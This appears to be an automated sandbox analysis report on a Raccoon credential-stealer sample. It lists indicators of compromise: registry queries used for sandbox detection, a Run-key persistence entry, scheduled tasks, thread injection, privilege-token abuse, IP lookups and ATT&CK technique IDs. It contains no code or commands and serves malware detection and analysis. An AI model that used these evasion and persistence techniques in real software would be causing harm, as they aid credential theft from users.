raccoon | 5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7004368.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Pim9WLd7YFsjqoSmza2tnM0t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7004368.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	m98lVpWjYfPQQ9GWIssANpXx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Ojmym2xnZM4b4TIrnAhORk16.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Pim9WLd7YFsjqoSmza2tnM0t.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	16_b1Yh703oziIszeU1NPjU8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a2zoKg5bWLOzbx1pHsQ1TopI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a2zoKg5bWLOzbx1pHsQ1TopI.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	_Z7jFlgEumZ8QvwJf_Qpn17K.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TdM1WBHUKwF06XglxE_fm9Rm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hSZtEKNRzVmNJuZBDfsbw09G.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hSZtEKNRzVmNJuZBDfsbw09G.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Ojmym2xnZM4b4TIrnAhORk16.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	16_b1Yh703oziIszeU1NPjU8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	_Z7jFlgEumZ8QvwJf_Qpn17K.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3291570.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3291570.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5352073.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	m98lVpWjYfPQQ9GWIssANpXx.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TdM1WBHUKwF06XglxE_fm9Rm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5352073.scr

Loads dropped DLL 16 IoCs

pid	Process
2900	setup_install.exe
2900	setup_install.exe
2900	setup_install.exe
2900	setup_install.exe
2900	setup_install.exe
2900	setup_install.exe
2900	setup_install.exe
2900	setup_install.exe
1412	rundll32.exe
5268	setup.tmp
5860	setup.tmp
7116	QKOTSAW0D78K5wQ31L64Bql9.exe
7116	QKOTSAW0D78K5wQ31L64Bql9.exe
7116	QKOTSAW0D78K5wQ31L64Bql9.exe
2460	Conhost.exe
2460	Conhost.exe

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral4/files/0x000300000001e5e8-342.dat	themida

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	7981568.scr

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 12 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3291570.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7004368.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	a2zoKg5bWLOzbx1pHsQ1TopI.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Ojmym2xnZM4b4TIrnAhORk16.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	16_b1Yh703oziIszeU1NPjU8.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Pim9WLd7YFsjqoSmza2tnM0t.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	TdM1WBHUKwF06XglxE_fm9Rm.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hSZtEKNRzVmNJuZBDfsbw09G.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	_Z7jFlgEumZ8QvwJf_Qpn17K.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	m98lVpWjYfPQQ9GWIssANpXx.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5352073.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	5737109.scr

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ipinfo.io
31	ipinfo.io
34	ipinfo.io
138	ipinfo.io
162	ipinfo.io
183	ipinfo.io
1	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs

pid	Process
1100	7004368.scr
5820	16_b1Yh703oziIszeU1NPjU8.exe
5772	m98lVpWjYfPQQ9GWIssANpXx.exe
5780	Ojmym2xnZM4b4TIrnAhORk16.exe
5800	_Z7jFlgEumZ8QvwJf_Qpn17K.exe
5728	a2zoKg5bWLOzbx1pHsQ1TopI.exe
5764	Pim9WLd7YFsjqoSmza2tnM0t.exe
5892	WerFault.exe
1472	hSZtEKNRzVmNJuZBDfsbw09G.exe
5876	TdM1WBHUKwF06XglxE_fm9Rm.exe
1720	3291570.scr
5284	5352073.scr

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 2704 set thread context of 904	2704	Mon20927aab1e5.exe	116
PID 3188 set thread context of 4164	3188	Mon209c830507d573.exe	115
PID 6092 set thread context of 6516	6092	L51Hk0E4_bkp8XS6I6qjfn44.exe	208
PID 1524 set thread context of 5180	1524	0x5JoOA0qc_A3Xu_cZJovnTJ.exe	246
PID 5884 set thread context of 6784	5884	CrrgT02qFTmVed8k_ghfItbK.exe	389
PID 5716 set thread context of 580	5716	g6K7wmnFrCyTNUC6U77_v8GU.exe	251

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp
File created	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	j2GjQTQ2COPCCNWh2mxv5jpx.exe
File opened for modification	C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe	j2GjQTQ2COPCCNWh2mxv5jpx.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-H67Q8.tmp	setup.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	setup.tmp

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 25 IoCs

pid	pid_target	Process	procid_target
1276	2964	WerFault.exe	105
3308	3784	WerFault.exe	110
5108	2132	WerFault.exe	99
5252	1412	WerFault.exe	136
6676	6268	WerFault.exe	205
5112	1860	WerFault.exe	134
7008	4252	WerFault.exe	187
2536	5748	WerFault.exe	158
5596	4476	WerFault.exe	179
3056	1092	WerFault.exe	180
5436	5312	WerFault.exe	191
5488	6028	WerFault.exe	175
3200	5868	WerFault.exe	174
2744	3344	WerFault.exe	301
7276	6448	WerFault.exe	287
7296	2520	WerFault.exe	276
6584	7992	WerFault.exe	332
7980	1872	WerFault.exe	338
7184	6068	WerFault.exe	339
2844	7804	WerFault.exe	343
11064	5908	WerFault.exe	355
5892	7232	WerFault.exe	352
6880	6296	WerFault.exe	391
7052	10500	WerFault.exe	375
3376	10572	WerFault.exe	376

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0x5JoOA0qc_A3Xu_cZJovnTJ.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0x5JoOA0qc_A3Xu_cZJovnTJ.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	0x5JoOA0qc_A3Xu_cZJovnTJ.exe

Checks processor information in registry 2 TTPs 49 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
6700	schtasks.exe
6688	schtasks.exe
6904	schtasks.exe
5356	schtasks.exe
3492	schtasks.exe
8760	schtasks.exe
8040	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
10556	timeout.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4696	bitsadmin.exe

Enumerates system info in registry 2 TTPs 14 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
2412	taskkill.exe
6740	taskkill.exe
4488	taskkill.exe
8336	taskkill.exe

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\7\52C64B7E	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	sihclient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	sihclient.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2744	powershell.exe
2744	powershell.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe
3352	Mon20d3b8b752.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5180	0x5JoOA0qc_A3Xu_cZJovnTJ.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
6152	7332261.scr

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSystemtimePrivilege	3920	svchost.exe
Token: SeSystemtimePrivilege	3920	svchost.exe
Token: SeIncBasePriorityPrivilege	3920	svchost.exe
Token: SeDebugPrivilege	4072	Mon209b3da1556b9a317.exe
Token: SeDebugPrivilege	2744	powershell.exe
Token: SeDebugPrivilege	4752	Mon206d48916f93c5.exe
Token: SeRestorePrivilege	1276	WerFault.exe
Token: SeBackupPrivilege	1276	WerFault.exe
Token: SeBackupPrivilege	1276	WerFault.exe
Token: SeDebugPrivilege	436	DownFlSetup110.exe
Token: SeDebugPrivilege	2508	4.exe
Token: SeDebugPrivilege	2472	F2alYhBEuUf1Xj6HY5R1n1Fc.exe
Token: SeDebugPrivilege	2412	taskkill.exe
Token: SeCreateTokenPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeAssignPrimaryTokenPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeLockMemoryPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeIncreaseQuotaPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeMachineAccountPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeTcbPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeSecurityPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeTakeOwnershipPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeLoadDriverPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeSystemProfilePrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeSystemtimePrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeProfSingleProcessPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeIncBasePriorityPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeCreatePagefilePrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeCreatePermanentPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeBackupPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeRestorePrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeShutdownPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeDebugPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeAuditPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeSystemEnvironmentPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeChangeNotifyPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeRemoteShutdownPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeUndockPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeSyncAgentPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeEnableDelegationPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeManageVolumePrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeImpersonatePrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: SeCreateGlobalPrivilege	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: 31	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: 32	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: 33	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: 34	1092	NoJ3BXARss740upw2S9QDNHu.exe
Token: 35	1092	NoJ3BXARss740upw2S9QDNHu.exe
